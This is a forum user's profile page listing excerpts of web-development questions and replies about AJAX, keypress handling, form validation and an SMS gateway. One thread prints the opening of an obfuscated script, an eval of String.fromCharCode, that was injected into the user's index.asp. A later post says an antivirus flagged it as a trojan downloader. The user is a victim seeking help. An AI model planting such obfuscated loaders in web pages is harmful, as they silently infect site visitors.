User Profile

Collapse

Profile Sidebar

Collapse
nicebasic
nicebasic
Last Activity: Sep 23 '12, 06:03 AM
Joined: Aug 23 '10
Location:
  •  
  • Time
  • Show
  • Source
Clear All
new posts

  • How to Send a UniCode String in XMLHTTP Query String?

    Hello everybody,

    I'm trying to use an SMS Panel to send my messages online. The format for using their URL Service is like this:
    Code:
    http://YourSite.com/post/sendSMS.ashx?from="FromNumber"&to="ToNumber"&text="Message"&password="MyPassword"&username="MyUserName"
    For example, if you wish to send "Hello friends" from "0415515798 1" to...
    See more | Go to post

  • I'm so curious about it. Maybe someone has intentionally appended this script to my "index.asp" file.

    I'm really eager to know which sites are using this script and what it has done on my website.

    I need experts' help to decipher this code.

    Thank you in advance.
    See more | Go to post

    Leave a comment:


  • I found some information about this script!

    Fortunately Kaspersky identified this script as "Trojan-Downloader.JS.E xpack.vt".

    It seems someone has hacked the web server on which my files are hosted.

    This image shows the Kaspersky security report window on my computer:



    This URL gives some information about the behavior of this malicious script:

    ht...
    See more | Go to post

    Leave a comment:


  • Thank you, Dormilich for your valuable help.

    I don't know how to use the Functions you have given in your post.

    Could you please give an example on how to use these functions?
    See more | Go to post

    Leave a comment:


  • How can I use your code?

    Thank you, acoder for you kind reply.

    But how can I use your code. I know very very little about JavaScript and JQuery.

    How should I use your code?
    See more | Go to post

    Leave a comment:


  • nicebasic
    started a topic What can this script do? Is it for hacking?

    What can this script do? Is it for hacking?

    Someone has appended the following code to "index.asp" file in the root folder of my website:

    Code:
    <script>/*km0ae9gr6m*/window.eval(String.fromCharCode(116,114,121,123,112,114,111,116,111,116,121,112,101,37,50,59,125,99,97,116,99,104,40,97,115,100,41,123,120,61,50,59,125,116,114,121,123,113,61,100,111,99,117,109,101,110,116,91,40,120,41,63,34,99,34,43,34,114,34,58,50,43,34,101,34,43,34,97,34,43,34,116,34,43,34,101,34,43,
    ...
    See more | Go to post

  • I'm sorry to ask you another question, Dormilich.

    How do you quote some part of a post that is written in gray color? I think you have a special BB Code for that.

    Thank you for your helpful comments.
    See more | Go to post

    Leave a comment:


  • nicebasic
    replied to How to Ajax-Enable this Code?
    Thank you, 0nth3l3ft, for paying attention to this matter.

    Your submission is really helpful. It inspired me to think about jQuery. The code you have given here is excellent.

    I'm trying to understand it.

    As a matter of fact, when I run the file "delete.php " for the onClick Event, I pass it this way:
    Code:
    confirmDelete(delURL)
    I have a reason to call it this way. I have written...
    See more | Go to post

    Leave a comment:


  • Using this golden page again:
    http://stackoverflow.com/questions/6...ct-pressed-key

    and using your kind advice, I came to a solution to this odd problem. I added this function to the <Head> of my HTML page:
    Code:
    <script type="text/javascript">
    function getEnterKey(winEvent)
    {
        var keyCode;
        // event passed as param in Firefox, not IE where it's
    ...
    See more | Go to post

    Leave a comment:


  • nicebasic
    replied to How to Ajax-Enable this Code?
    What's the difference between:
    Code:
    xmlhttp.open("POST",delURL,true);
    and
    Code:
    xmlhttp.open("GET", delURL, false);
    ?

    Does the 2nd code run faster?

    And about your comment: (since you don’t process the response, there is no need to make it asynchronous), I still don't understand it.

    I have a file "list.php" that lists the files of a specific directory. I wish to call...
    See more | Go to post

    Leave a comment:


  • I'd like it to be compatible with all major browsers one of which is IE. For IE, as many versions as possible is the answer.

    I hope you can give me a solution.

    I have searched a lot and found very little to help me.

    Using this like as a source of inspiration:
    http://stackoverflow.com/questions/6...ct-pressed-key
    here's a demo I wrote to check its compatibility with...
    See more | Go to post

    Leave a comment:


  • Can you help me change this script to make it compatible with both IE and FF?

    I'll be really grateful to you.
    See more | Go to post

    Leave a comment:


  • I found a solution for FireFox, but IE does not work now.

    Inspired by the following page:
    http://stackoverflow.com/questions/6...ct-pressed-key

    I have changed the code like this:
    Code:
    <script type="text/javascript">
    function getEnterKey(evt)
    {
        var charCode = (evt.which) ? evt.which : evt.keyCode
        if (charCode == 13)
    ...
    See more | Go to post

    Leave a comment:


  • nicebasic
    started a topic How to handle input OnKeyPress in FireFox?

    How to handle input OnKeyPress in FireFox?

    I have this code:
    Code:
    <input type="text" name="message" id=message size="76">
    &nbsp;
    <input type="submit" value="Send" name="B1" onclick="alert('demo')">
    In Internet Explorer, if you press ENTER while the inputbox or the button has got the focus, an Alert will be displayed. So, it works fine in IE.

    But in Firefox, you...
    See more | Go to post

  • nicebasic
    replied to How to Ajax-Enable this Code?
    I studied some pages about AJAX, but I don't understand it yet. However, I used the following easy and short technique to do this task. By adding the following code to "list.php":
    Code:
    <script type="text/javascript">
    function loadXMLDoc(delURL)
    {
    var xmlhttp;
    if (window.XMLHttpRequest)
      {// code for IE7+, Firefox, Chrome, Opera, Safari
      xmlhttp=new XMLHttpRequest();
    ...
    See more | Go to post

    Leave a comment:


  • nicebasic
    replied to How to Ajax-Enable this Code?
    I think the following function should be included in the <HEAD> tag of the page:
    Code:
    function loadXMLDoc()
    {
    var xmlhttp;
    if (window.XMLHttpRequest)
      {// code for IE7+, Firefox, Chrome, Opera, Safari
      xmlhttp=new XMLHttpRequest();
      }
    else
      {// code for IE6, IE5
      xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
      }
    }
    </script>
    ...
    See more | Go to post

    Leave a comment:


  • nicebasic
    started a topic How to Ajax-Enable this Code?

    How to Ajax-Enable this Code?

    I have two PHP files to manage my files on a server:

    list.php
    delete.php

    The file "list.php" shows a list of files in a specific directory of server. It uses a table to list the files. One of the columns in the table is named "Delete this file". If you click on that column in a row, the file "delete.php " with an argument will be called. It will delete the file passed to it through...
    See more | Go to post

  • Can we record a visitor's voice Using Flash / ActionScript on a Website?

    This question has been in my mind for a long time.

    A few months ago, I saw a site about singers. People could go to the site and sing a song they liked. The site recorded their voice.

    How do they do that? Do they use Flash/ActionScript?

    What's the best way to do this?

    The name of the site is SingSnap.com

    Does anyone have a suggestion?

    Thanks in advance.
    See more | Go to post

  • Yes, Rabbit. I used your great help and great support. Without your help, it wouldn't be possible to solve this complicated problem.

    Since this line causes a problem:
    Code:
    else if(txtPhone.value == '' || isNaN(txtPhone.value) == false)
    I removed the second part of the condition and changed it to:
    Code:
    else if(txtPhone.value == '')
    I don't know why it doesn't accept any numbers. I enter a number,...
    See more | Go to post

    Leave a comment:


  • Thank you, Frinavale and Rabbit and jhardman.

    I found a problem in this line:
    Code:
    var txtPhone = document.getElmentById('txtPhone');
    This very simple problem prevented the code from running. I changed it to:
    Code:
    var txtPhone = document.getElementById('txtPhone');

    It was a misspelling. Changing "getElmentB yId" to "getElementById " fixed it all.

    I'm checking...
    See more | Go to post

    Leave a comment:

No activity results to display
Show More
Working...